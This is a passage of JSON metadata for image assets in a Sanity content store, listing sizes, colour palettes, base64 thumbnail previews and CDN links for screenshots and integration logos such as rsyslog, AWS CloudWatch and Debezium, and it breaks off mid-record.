{"_createdAt":"2022-06-15T20:02:25Z","_id":"image-0ce49b85d4f89944595d51c4e2a2d1f1b23e06ac-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEdQNr","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:27:09Z","assetId":"0ce49b85d4f89944595d51c4e2a2d1f1b23e06ac","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MWQSrE%i%ME1%MT#RPV@t7Wp-nM{M{xaWD","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADBUlEQVQokSWI22/bZBxA/Tfyyh5442HVxEAaQkgVGi9zGQJVCI2t6+jUpbk46oBknTotJCGp1lxbEufiOP6c2LH9XRwnsVPSS34/tO3hSOccyTDdLzXdeqbpdnowtFP9gaX0B2NF0y3FHDOF8oXC/aXCeKh4dK54bKEwESmUh4pLZ+87xUSU5iL8nYvwW6nbN5/WGqpWa7SnzfMeb5x1RLXeFtV6S3R6RDheILgfCY/OxdjmYuIGgvJQaPpYnLyri7aqcepNfZ/Pu4LPHkkjiyUHQ9vXdAt1w0HdmOB71wYWkpGHrjdFxmfouAINYuPYph9etXaGyaSCxcI/6E1cDJjwpozvSkxEccpDRnmITERrJiKgPPwIm4PjCrBtB4ZDAqrahV5/ACYZw+m7U1BSqXW5WFgza4wL6jhzb7IrcX+Z4P6Sc3+J3I+A+xFyP0Thh0ipj8bQxHa7jdVqFfP5POZyOSyXSvgqk8GDWAzKxQIwU8fIMZ3IJTsSF2GCi5BzsUAh5iD4DH2X49RykY4s7LQ7WKlUsFQuYyaTxXg8jvHYC9z++SfckmU4PsqCp6u4tDX3v4m2KwkxS/gi4FM+xSn31wHjMDNMWDTPwD+vQ79WhpPCW8jn3sKrbAYO0ymI7z+H77/bhK/v3YOXqQR4vSauLNW5nKg7UsBYIqCUBdTDGXXXczqBcGTAslWD6DQL7psXUE/tQeFgD4rJPSi93If4zjZ89cUG3Nm4Delnv61542+8MSrsxqqlpMVIT06JJripYWAPMXIJLl0DL8YqrjoFXJb+QP46jdZhDO3YY7SeP8TXD+/g5sYnuHn3Fr55eh8X5X3E7l8LIEdFKeo3f/HVWsPpNkaCqMbS0cjK1cjK6ZFLq0WujAa57lfI1VmRXB8fktXuj4Rs3ya57Vvk+MlnZJD9hlw2noywn27DUDmULkjr08XwfDMw/t0Kx6q8crrypdORrxz1A9dOS76ZnMtrqyFDqyjDUVK++fOxvDr5Vb6ob8lXzQcy9A9+QDN/H0b5z/8H2l3lSpvXIrAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#344848","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#604a1c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ececf4","foreground":"#000","population":24.2,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ececf4","foreground":"#000","population":24.2,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6884","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8b7d58","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4ac35","foreground":"#000","population":1.93,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"0ce49b85d4f89944595d51c4e2a2d1f1b23e06ac-1567x844.png","path":"images/sczeoy4w/production/0ce49b85d4f89944595d51c4e2a2d1f1b23e06ac-1567x844.png","sha1hash":"0ce49b85d4f89944595d51c4e2a2d1f1b23e06ac","size":374666,"uploadId":"NTsViHhNU2ixnmtywp0Dnrh3BXxZ9Yoo","url":"https://cdn.sanity.io/images/sczeoy4w/production/0ce49b85d4f89944595d51c4e2a2d1f1b23e06ac-1567x844.png"} {"_createdAt":"2022-06-15T20:01:28Z","_id":"image-1b2ef663f5e5a8462c658112ca20a2c02677fc6a-752x405-png","_rev":"LKSVNTHAdZDLniZ7u2CANB","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T00:50:57Z","assetId":"1b2ef663f5e5a8462c658112ca20a2c02677fc6a","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MND0$N~pflV?kDIbRjj]j@az00D*oJxuWA","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACqklEQVQokQGfAmD9ACo/byw/ays9aCk7Zyg5ZSY4YyY6Zio/bS1FdC1HeC1EdS5DcDVFazM/ZCw9bC1Eeyg9ciEyYSAwXiEyYAA9U35SZIhXZ4lPYIRBUngwQ2wrQGsuRXIvSHcuSHgvR3Y7UHpLW3k8RmQsPWcxS4EvSH8oPG8lOGgkNmUATmaMboGffIynd4ijZ3iXTGCEQFd/QluEQlyGP1mEO1aBRF2EUGF+OEFeJjNbNE6BOlmONlGIMkp/LUJ0AF14mXiNqICUroCTrIGUrXOHpGd+nm2Dom+FpGV+n1NvlEpkiEZYdi44Vh8oTTNLeUVom0RlmzxajjVPfwB8l62Sp7qOpLiLobWTp7qNoreGnLSOobiTpbuDmbRng6JSa4xCUnAnL08ZIEQxSHNLb59IbJ0/XY43UoAAoLbCs8TNsMHLprnEprjFp7nGorTEqbnIrLvKnK/Cg5uzaX+aTVx3Ji1MHSRHPFR7UnWiT3KhRWWVPFeFALrMzMHPz8TQz73LyrfFxrrHyrjGy7XEybG/x6e3wpqsu4icrmh4jjlDYDM+XldvjmGDplp9plFznkVjjgDD0cu7ycS6xsG6x8G2w7+0wr+uvb2jtLeYqrGOoKyHmqmCl6htgJRJWHNBUW9ZcI1beplRb5NKZoxAWYAAjJymi5qkjJylj6Coj6Krip6of5KedIeWbH+PZHaJXnCGXHCGWGh/Q1FtNkRkNkdoNUhpL0BjKjldJTJWADE9YjQ/YTdCYjtHZUBPbT9PbjVCXi03Uys0UCw0USw3VDRAXT9LZTQ/XCcxUR4nSBkhQhggQRgfQRYdPQAQF0APEzsOETYOETMSFzgWGjwREzILCycNDSoUGDccJUUnM1EzQF0rNVMfKEgXHT0TFzYWHD0bJEYcJUfMJQ8Scc5mkAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#343f62","foreground":"#fff","population":1.31,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#203160","foreground":"#fff","population":6.39,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ecf6f3","foreground":"#000","population":6.76,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aec3c8","foreground":"#000","population":3.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecf6f3","foreground":"#000","population":6.76,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5a7a9d","foreground":"#fff","population":6,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#638bc1","foreground":"#fff","population":2.32,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"1b2ef663f5e5a8462c658112ca20a2c02677fc6a-752x405.png","path":"images/sczeoy4w/production/1b2ef663f5e5a8462c658112ca20a2c02677fc6a-752x405.png","sha1hash":"1b2ef663f5e5a8462c658112ca20a2c02677fc6a","size":187558,"uploadId":"NkV8el9vhF33lCbcSxuYTvkqiWdHfTnB","url":"https://cdn.sanity.io/images/sczeoy4w/production/1b2ef663f5e5a8462c658112ca20a2c02677fc6a-752x405.png"} {"_createdAt":"2022-06-15T20:01:30Z","_id":"image-67daf8178899e32a63ab98a978f17476cc978688-752x405-png","_rev":"QRl2cGoCgj0FlAhkRrhQyd","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:14:31Z","assetId":"67daf8178899e32a63ab98a978f17476cc978688","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8G%}cGu0i^jIV00D*o|E1%10P;K}qO@-o","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACqklEQVQokQGfAmD9AAgBAAwCARAEARQFARgGAhoHAiIKAy8OBTQRBjYVCjMXDCoSCiEMBxgKBhAGBAwEAg4IBx0YGCgkIyAdHAAOBgQXCwkcDQkhDAcnDQUqDgUzEgdDFwlIHAxJIhNHJBY+HxQyGRAoEw0gDwoXCwcVDg0pIyEzLSsfGxoAGw0LLBsYNh4ZOBkRPhgLRBsKTR8MWyQOZi4WbDoiZzkkWDAfTCocRSYaOR4ULhwULiIdRDMrTjovLyIcACcQCzofGUcjG0shFFIhDlwmDmMoDmstEYNDJJxcOZhZN4RLLINKKoNNLm5AKGdCLHNQO4BTOXRFKz8lGQA5GxNPLSVdMyhhMSFnMRt0OBx5ORt+OhueWDO/dkvDdke9bz+4aTi4azu2bD6ta0KrbEerZDyBRSUyGg8AUDIobk5FgV1Rh11Oj2BLnmpQpGxNpGE+tGk9yXpL0n5L1X5Hv247u2s61XtEwHJEnFw3pVgvej4fJBIJAGtQQoxwYqOEda2LebaSfcGbgsedgMOOa8J+UMh6Sc99TNSCT8d6SsV6SteEUcV3SaZeNalZLn5CJDQeEwCVeGOggWutjXW3mIDCo4rKq5LLrJHIpIfHmHXIjmfIjmnJlHHKlHDOmHTOmXXEh2G3ckmta0WOX0RqSzoAspaArZJ8q5B6r5WAt52HuJ+Jtp6It5+JvKCHv5+GvaKNuqGOuZ+LvaOPvaSQs5N8pH1jmnVcj3BbhGZTAKudkaaZjpaIfod5bYR0aIFxZYFzZ4N1aYZ2aI+Ac5iNgpKGfI6CeJqOhKWZj5qNg4BvY3FfUm1dUWpZTgCsp6SopKCJhIBkXlpZU05cVlJgWlZYU05SS0dhWVV1b2pvamVtZmOFgHyemZSQi4dlXVlTS0ZaU09bVFEWv+lwQ+4zgwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6a4b3b","foreground":"#fff","population":1.95,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#692b0f","foreground":"#fff","population":6.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d0b8a2","foreground":"#000","population":7.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0b8a2","foreground":"#000","population":7.16,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6b77e","foreground":"#000","population":0.56,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#927e70","foreground":"#fff","population":6.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cf6224","foreground":"#fff","population":1.1,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"67daf8178899e32a63ab98a978f17476cc978688-752x405.png","path":"images/sczeoy4w/production/67daf8178899e32a63ab98a978f17476cc978688-752x405.png","sha1hash":"67daf8178899e32a63ab98a978f17476cc978688","size":166012,"uploadId":"A0piWkbvptbZy6Ys0YgNPYty495vavAq","url":"https://cdn.sanity.io/images/sczeoy4w/production/67daf8178899e32a63ab98a978f17476cc978688-752x405.png"} {"_createdAt":"2022-08-16T15:50:14Z","_id":"image-552065517431fa19eb296d83ca7f19fb498bd3d1-48x48-svg","_rev":"HosDT9snWCxUYvGzNaav8E","_type":"sanity.imageAsset","_updatedAt":"2022-08-16T15:50:14Z","assetId":"552065517431fa19eb296d83ca7f19fb498bd3d1","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":48,"width":48},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEgUlEQVQ4ja2V/VfTVRzHLz/gH0D/Q/yoP7QNtjHY+G6cYjAQH0BKjijqkhIjBQFN2RB8Kj14AEOzfAh133vvnlCRAceOJZTCxpAcpAVi6MEkUzByu+/azI5pp87p+A+8zvnc9/u+3kRy5JJ0OY/o+VJiYEvjDHRZgoG+qdfTIlsaLe5OpSUTOmad1bHS2RRWNqFl5d0atsmmZpv1yaz6lWReE/ea205UvJYomY0QieYRA3+dSPKi+HS6JDGd5lsNtJDqadFIGi2eTqUlczpmjehYaSSFlc1pWfm0hm0aUbMqmsxqrEnsg0QV2xb/Kj1MVHw7ITp3CZFkyzyJLlwg0cX2dJofMNDCGT1djjRajFRWAh2zQsdKkcLKoOXl0LAKqFnVTDLbEkji2+wqXrtA6bTP0ziqCTHKljijbEk00ly7RBeNSiw/nM4KYWBFQs+KRRpbLVKZVej4OyKFlwktLxcaXiHUvArJfGs4iW8fVXGbXcnrEhW0IY6Y5KwEo2yxGmluIJ3mhQ10idDTApFG3xKpdAV0dJVIoWuElq4TGrZeaFg51GyTULMqkcy3iiS+Pazi9oCS77AqeEMCMclmvUnOpiaaO5PpXIYcz0qR610jcrzrYPG+K7K9G5Dt3Yis9kpkeCphcFWKNFcVNLz6KRAqbp9R8nqq4Dv1JIOa7UY5ayTbVYDyC1tFo/8TcTDYhpbgSdESPI3moAONAQd2D7Rh41cHsapnH97+okUs6tgDrXNbFChUvA5KXh9S8F02kkEzu42yeXrZmZU4FDwmeif7ceXOkOi7HYB/6hqG7n6HjrE+HLvWgT0DDuzxU7i/70PTUIdYcn4/1E6bUHE7lLxhWsF3dUeBE0bZPLf87BocCh4X3hs+4breiZOhdpwf+xKXJoM4MuxF4yDF4eGz8P7Qh5sPpjD68ySarvrE4s4DQu3aEQXOKfjuiSjwkVE2R6LA5sAR0RZyic+GKZoGP8fpkXM4P94bA3bdvIyxX+7g7qP7mAv/hseRMIbv3RL2freQ2vdCwRsiSr57NgqcfQpseQbYPNgGx2gHOsd78em37eiZ6MfEwync+/UB5sKPEY5EEJqeFPUD3heAL5zsvuGDY/QcusZ70Xd7CEevncXHV904HvLh3Phl3Hp4Fzfu30HrcI/I9zUJtav+byf/FUpr8Ki49OOVWCjf3A5icCqEoZ+uo3P8a5wIdWKvX8aHfoYzY5fROuwTBb5GaGKh1EHpjIXSRTLkTNuT2uRjw4UasW/gkGgePB59Q9E0eBIHBk9hv/8UdvafwHsXm1HSsw/rL7aKpZ0f/XNtTM8U+w1nASzuFcLiWS2yPVZkeUqF2VMGs/d9ZHorYHJXxIqtd1VDy2ueL7YcK7ZJNr+Mr+dX8h1rY1/vZclBxesSlc76OKL3rCCSnBMv0YXz/9SX/3/oa76K2+JTHJsJkdhCIjmlqGifCnatgRbKeloU+hfBhp4X7HxHE0nitVEf5hBJziMZ7gKij01AwX9NQNeTCaiMTkBCEtsSp3bXxmyt+mMCfgelWbLBF0CPvAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#24463c","foreground":"#fff","population":0.26,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1b6445","foreground":"#fff","population":0.35,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3aae6d","foreground":"#fff","population":10.37,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b0dac0","foreground":"#000","population":1.17,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#93e9be","foreground":"#000","population":0.52,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#61aa74","foreground":"#fff","population":4.38,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3aae6d","foreground":"#fff","population":10.37,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-rsyslog.svg","path":"images/sczeoy4w/production/552065517431fa19eb296d83ca7f19fb498bd3d1-48x48.svg","sha1hash":"552065517431fa19eb296d83ca7f19fb498bd3d1","size":2389,"uploadId":"yoH2CJoVWsxuH6tV8p4mJhjtj4UdcSOa","url":"https://cdn.sanity.io/images/sczeoy4w/production/552065517431fa19eb296d83ca7f19fb498bd3d1-48x48.svg"} {"_createdAt":"2022-08-16T15:50:12Z","_id":"image-b6dd9072ec8fd76dc39800c3d417eaf055a903c7-58x58-svg","_rev":"AItYcVmwODXGfe9M0GPqO6","_type":"sanity.imageAsset","_updatedAt":"2022-08-16T15:50:12Z","assetId":"b6dd9072ec8fd76dc39800c3d417eaf055a903c7","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":58,"width":58},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFWUlEQVQ4jU2U2VOTZxjF31xw3+HOoBAQ+AxLSNghFI0zOlOLHaaLLUggC5CNrBBIgtqWQIsM1gVtqdoZ7XLTKfe94qICAhJDAmQnIeH7suCF3ACTGXifzhvTqf/Ab85zznMO8pRrkKdMg9zlChTk6VihKn3utsAgilSbxndqBudjdUPMbr35iGkYPoo3jtCJJst8stlqTwmtopTQlpsSWllMvR7tCW3oTYsNIW+FBjl5SuSrGMjxV2qpIE+nCvENc2GBMRCpMe1Ha4fSsTrzCV1vPmEahtPxppH9RLMlkBRa51JCm2qvxUbttdhyDlpGUIoAPQId2ipT53jLNVW+ioHxAE/nClbpD0JVegjzDRARGCFaY4JY3RDQ9WZgGoch3mSBZLP1ICW0ulIttom9FhufQJm6QYTclJK1yVVRnjL1uLdcE/RVaI8DPB2Eakw4LLTgnfM2HBVacLTejGN1Q5iuN2OmcQRnoccpoTWYhVJvmm0s5CpV5G5QStUmV+XylKmPvRUDONAwhCOfjOPd7nvAyGYwI76Ldz+241jTCI7VZpRipmGYQHEW6iLnE0/Rekm/yF2qmNuglAeb51TgFehxuH0C7/Y9hNj1Ozh2bQoY+QwkVLPAdEwD/dEYplttQDcM/wcFcv47T60i5Czus6+X9AdcpQrYoJTY32rBO7L7EPl8kiiFQLURwhdGgZbch6TxF0gOPIZE111Mi26+rxQyQTVb7chxtnfeWdy3v17SDxt8HQ599j3syB7gQKsVvGUa8JVpIMDXQ+Ty17DbeQfi8hlI6Z9AQpyFNmSUQib9Jss8WiuSM44ieXr9nBK8l2/hsOw+DrZPgEegBw9XDb4qPYQu3oBo5zTQ8hniKSRUP0FS9+Sd0vOjJChgGkfS5E/RK47s6BVHdrJepYXAl7dx4ItJvFljgI1SJWxy1eD/0AKx/oeQuPE7JCy/Qtz4FOKKHyHe9wiS6llMXxkj6UP2Tw/RSoH0aDVfeuLka8H/1W3sax/Hbt4AuEoUsFmphVD7BDDW5xAf/Q1iknsQ7ZgGRvUTxDWzkND8nEk/WjtI/vRkt958iJbzJcxKviS9Rilg68o3ONA1jX1tY+C5OAq+SzchLP4BaMtziCkeQfCCDbYv3QLG8BQSI89JUHjn/CiOVJsgWjuYjtUN0ejlmZ755TM9+yscKbzma/FW27fg75jCgY4pCHz6HQSvTUJ0YBZ2emdg+6odorIHkJz4ExLDz/BOmx22awdxWGCESI3pLek+Wsrrtr883RNYPtMDKxwZXuMq8Xq1Hlz1JuwmXtYZwd82BuGeuxkoPfwMkpN/YeJprGMabzeacYhvgEz3q012tJgnFi3ldc8tne4+yEDzJXi1QIpfcWTgKJRjZ3EfuCs0sNVsBp/IBsGrYziqeATxm39gWvcYb4tGIcjTH5BB2RYYRWiBLc5dzBOrFvO6XUunu4+X8yV4pUCKV4naQjk4inrx67N9eL2kH7tKFXijTA2+VguOdE7jyLUpHGwyH/srtWRQyErlohd5YtYCW0wtsMXji3ndwQyUKP0fignUWfwelKvG5E+9AsOxt1IbJCvlr9RRQZ6ehVYL5OjFqa6cBba4KgslSrPnS2GVI4OsUiDnk0ZlalqqONiklC4PN7NSZPpynJQKoQV2F/r7g070gk2gXdQiW6winr4LSvJ2pUCaXuXITtYK5SeOot60s7jvLem+m1LObZxTqTa5amqLq85xUApE1h/9c6orA3UU9KEF9nXWAruLeEqCsmdeKl9CrxRID1c5ssO1QjntKMp0nwzKBXepItdNKVh+ngF5ywfQVrka/Qsx6Zry2oyNEgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5c343c","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#700524","foreground":"#fff","population":0.62,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ef2f75","foreground":"#fff","population":8.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#920646","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa8fc0","foreground":"#000","population":0.45,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8e0a3a","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ef2f75","foreground":"#fff","population":8.09,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-aws-cloudwatch.svg","path":"images/sczeoy4w/production/b6dd9072ec8fd76dc39800c3d417eaf055a903c7-58x58.svg","sha1hash":"b6dd9072ec8fd76dc39800c3d417eaf055a903c7","size":2575,"uploadId":"VPObjuQX92yZ3iDOhM7t2fQZXaRMslDV","url":"https://cdn.sanity.io/images/sczeoy4w/production/b6dd9072ec8fd76dc39800c3d417eaf055a903c7-58x58.svg"} {"_createdAt":"2022-08-16T15:50:12Z","_id":"image-27995708e6bffa0de4a88052aaa889f48495c396-58x58-svg","_rev":"rNS8YJd9MRCX8QHFLDuKM1","_type":"sanity.imageAsset","_updatedAt":"2022-08-16T15:50:12Z","assetId":"27995708e6bffa0de4a88052aaa889f48495c396","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":58,"width":58},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFN0lEQVQ4jWWU+0+TZxTHn/QX/AckS6abDhBYKBe5WFCRUSp0AkIrC1CIXCxEZVAwQqFGrYATRiu30YqVQYFVpCCu0LeFXqC4codxsXWiCMl+NxMSWbTPWZ5XiGx7k5O8eX/4vOd7zvd7UEFcDoqOiELIFyERX8gQJgs+y00RnBVmZP10+ULe4pXvC7ckZWW4WirF9T/Wvr3f3DTXrWpt6Fe3naG629xtnc2MBgA0OWZCzx63IMQ+HoXIkxHD38ePSQjkcRNLU5J4xoy09A1h7oWtosLCD+ViMa68dQvL6+o+KBUtW53t7et9PRo99VhbMqrrY07+qnEDADRhGUYIlRxAKcfj9317PCYiNpLdyOXEvjibeHZbkJ4O+fn5UFJSAhKJBCorK0Emk4FSqQS1Wg19Wu02Nahzjg1T8imzPmzR3O/G028jJIjgMdjBJwMjQyMaIyNO/BnDZrv4fD5cunQJi8VifP36dVxdXY3v3LmDZTIZVigUWK1W476+PjBQlMtmtWxMPx2VL9nNzFWzhoE4/pGfHWMGl4YGBb8IZ4VjNpuNU1NTsUQiwfX19dDU1ERDSCmVStzW1gbd3d0EiCmKwjbbmGt2asK5PGsvXp02uSOW99HEAB8/Y6B/wDaLxQIC5PF4uLi4GDc3N+Ouri7QaDTw8OFD0Gq18OTJEzw4OAgGgwGbTCY8Pj4Oc7Mz754tzg29XJzgooCvvm729fLZ8GcygcVi0R0mJCTg8+fP46qqKtINDAwMgE6nA71eD0ajESwWC7bb7TA5OYlJzc/Pg2Nl6fWaY0GOfL/0+v2Ip9cW8xMQCDAtLQ1KS0vhwYMHNGh0dBRsNhuYTCa67HY7npmZgfn5eby4uAROx7PN138sTyOvg4c3vTw8PzD/3SEQYFlZGXR0dNBAi8VCA61WK5jNZvqdQOfm5vDy8jI8dzrer68636BDnx/Enh4eeC8wPj4eMjMzaauQuVEUBWRupMj7yMgI3aXVasUTExN4YWEBnjudeP3Vqut/wOjoaJycnAxFRUWgUCigt7cXiEUePXpEL6anp4f+RuZqNBrJUkiX4HQ6PgK9Dhx+u1cyh8PB2dnZUFNTA8Qira2tNJgYWqVSQXt7O3R2du52jm0220egY0eyzxee87tLCQ8Pp+UWFBQQI0NtbS3cvn2bTkhjYyMNJT8hQOJDg8EAn4ArZClTyP+Qd4Ovl/d6gL8/nIqKoj2Yl5cHFRUV+MaNGyCVSmkwMfke4MekGD516FhZWltzLMjQMQ+/M8wjvvqjgUHbsbGxZLtEMhaJRHDt2jUSO1q+XC6npatUKhI9usMdybBj7MFXi3YuivEOcQ/18S8JCwp2nuacdgkEApybm4tJlsvLy2E3x3K5HLe0tGAy050sY4oy7EbPsTJrF72cHtmPMv2iGd/4hTBPHg2TR0dGbfCSea6srCy4ePEivnr1KpFNHwdyGEiu792799/jsD7z1Fq3bDf5vbR0MxCShCB+YKRbXMiJsNMnTsniY+Oc351LeZeTnQ2FhYUgFovh5s2bQJZ09+7dvefrnWFI5xgb1tdNm4dCV0xat3PU3whFh0UgchwzwjluvJMxfsmcuOKUxKShzLT01/lC4WaxSPReUlGBqyorsVwme69UtGx2tv+81t+jGTQ87hWNDWr9ZnRdbuMAyG4dRkgUFIeiQlkIHUSolMNnCLlJ7jlJ57jC1HT55Zzc6SsFBW8kZWWuaqnU1VBb8+Z+U+PUL/eVsoEOFXe4W7X/N3UD44e/AE2OmtDz/kb0D1WEtTHKY3GIAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#544c3c","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4d3e37","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#847c7d","foreground":"#fff","population":0.59,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4b4ac","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c7b8b1","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#847c7d","foreground":"#fff","population":0.59,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#957869","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-debezium.svg","path":"images/sczeoy4w/production/27995708e6bffa0de4a88052aaa889f48495c396-58x58.svg","sha1hash":"27995708e6bffa0de4a88052aaa889f48495c396","size":15138,"uploadId":"lSI2vjNLf1KyyVdxOxUrLn9p0VL0eIiG","url":"https://cdn.sanity.io/images/sczeoy4w/production/27995708e6bffa0de4a88052aaa889f48495c396-58x58.svg"} {"_createdAt":"2022-08-16T15:50:12Z","_id":"image-eb38710ac4196b58734ae1cca36ab78d39b7aa16-58x58-svg","_rev":"rNS8YJd9MRCX8QHFLDuKYV","_type":"sanity.imageAsset","_updatedAt":"2022-08-16T15:50:12Z","assetId":"eb38710ac4196b58734ae1cca36ab78d39b7aa16","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":58,"width":58},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEgUlEQVQ4jXWUW2yUVRDHvwoxJiT6YvRJE18k8YUH3nhi52xbICHqztleQMAGIYIURbRayp1gKVQUg4ARvBEgAYSgQAARAS03KRsoFgikzNlett22sNul35alO2PmawUl8eF7Od/J7/znPzN/z2HIIwQvXlLoEYaeIIRnCaGQENYQwmmykCBrsmRNP1njyMIRslBDFsYRmqcJwwUUHR8wWl4b73mExnPlxZ5DeJIQXiGESkI4QAi3CCFNCDlCyBOG8oQwQAh3yEIzIewkNG8SwkuEMJKsCjOeFy+fEMAcwlhnTZ2z5qqzxnfWCCGIi4bFlRWLK58grqRQ9NxZw86aDFlznqypJoTRFAmNiJcWeR5FQgXDyuoIoYUQBhVECOxKi7ltzhTuWvURJ9cs5o4FMzk+ZZLCePhOjhCaCKGKEF68HQlKDjyrDJSVFA668onsyorZRcPc+lZUejbV873Tx7n/3O98d8dWbn+3QpWyKyliVz5RXGlRzllzhhDKyZpRHlkTVs+0zLbZpdK1unpIzcJZkqiex32H98vAzety/9YNudfwm3R9sojbK2dI18oPOVm3dOiB0qIUYWgr2fAYBdZqA9SrxKJKzpw8ygM3/pL0gd0Klrs7tkn/hQbxG89J+qc9kqxdLHe+2cjZyxfFv3Sek/Ur1IY8RUKNzpq3FXiKEFIK7Fy2kLNXY8IPcpy90qhqpHP5B5Las13SP++VZP0KfVT6jhyQvN/PuUQb93y5juNTJwlFQglnzXcK7CCE+0PA9znbdIn5wQNRcPLTFdL9+WrJHD8s